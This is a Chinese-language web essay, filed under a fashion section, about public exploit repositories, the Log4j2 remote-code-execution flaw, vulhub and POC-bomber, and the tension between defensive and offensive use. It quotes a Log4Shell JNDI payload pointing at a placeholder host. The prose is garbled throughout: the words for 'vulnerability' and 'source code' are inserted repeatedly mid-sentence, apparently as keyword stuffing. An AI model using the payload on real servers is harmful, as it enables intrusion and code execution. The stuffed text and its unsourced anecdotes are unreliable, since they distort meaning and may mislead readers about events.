当前位置:首页 > 时尚

漏洞源码库

2021年12月,漏洞Apache Log4j2 被爆出一个远程代码执行漏洞。源码攻击者只需要往目标服务器发送一段特定字符串,漏洞就能拿到服务器权限。源码那段字符串长这样:${ jndi:ldap://xxx.com/exp}。漏洞全球数百万台服务器暴露在风险里,源码很多团队连夜升级版本。漏洞但真正让安全圈炸锅的源码不是漏洞本身——是有人在GitHub上建了一个仓库,专门收集这个漏洞的漏洞利用代码。仓库名叫“Log4j2 Vulnerability Exploit”,源码上线几个小时就攒了几百个star。漏洞

这就是源码漏洞源码库的雏形。它不是漏洞什么官方机构建的,就是源码几个安全研究员随手搞的。方便自己人测试,漏洞也方便防守方验证补丁效果。结果变成了公开的武器库。

漏洞源码库和普通代码仓库有本质区别。普通仓库里的代码,你跑起来顶多报个错。漏洞库里的代码,跑起来可能直接控制一台机器。2022年,一个叫“ExploitDB”的老牌漏洞库被黑,攻击者篡改了其中几个exp的下载链接,把原本的利用代码替换成了反向shell。谁下载谁中招。防守方用来测试的工具,反过来成了攻击入口。

我翻过几个漏洞库的提交记录。有个叫“vulhub”的仓库,用Docker把漏洞环境打包好,你拉下来就能复现。作者写得很清楚:“仅供学习,请勿用于非法用途。”但底下评论区经常有人问:“这个exp怎么改一下打真实IP?”没人回答。问题本身就不该问。

漏洞库的维护者大多匿名。你看到的是一个GitHub头像,可能是一只猫,也可能是个默认的灰色方块。他们不署名,不挂靠公司。有人白天在甲方做安全运维,晚上往库里提交新漏洞的PoC。提交信息写得很随意:“加个CVE-2023-xxxx,通杀。”就这么几个字。但那个PoC可能影响几万台设备。

2023年,一个叫“POC-bomber”的仓库突然火了。它把几十个漏洞的检测脚本集成在一起,输入一个URL,自动扫描所有已知漏洞。作者是个学生,接受采访时说:“我就是想省点事,一个个手动测太麻烦。”这个工具后来被大量用于未授权的扫描。作者把仓库设成了只读,但代码已经传开了。

漏洞源码库的悖论在于:防守方需要它来验证补丁,攻击方需要它来寻找入口。同一份代码,放在不同人手里,效果完全相反。你没法禁止它存在,因为漏洞信息本身是公开的。CVE编号、漏洞描述、影响版本——这些都能在NVD上查到。但能直接运行的利用代码,是另一回事。

有个老安全研究员跟我说过一句话:“漏洞库就像菜刀。厨房里用是工具,街上用是凶器。你不能因为有人拿它砍人就不让卖菜刀。但你也得承认,菜刀确实能砍死人。”

现在很多漏洞库开始加限制。有的把exp加密,需要申请才能下载。有的只放截图,不放完整代码。还有的干脆转成私有仓库,只对特定人员开放。但信息一旦公开过,就收不回来了。你删了仓库,别人早就fork了。你加密了exp,有人已经截了图。

漏洞源码库不会消失。它就在那里,像一面镜子,照出安全行业的真实状态:攻防之间没有清晰的边界,工具本身没有立场,用工具的人才有。

分享到: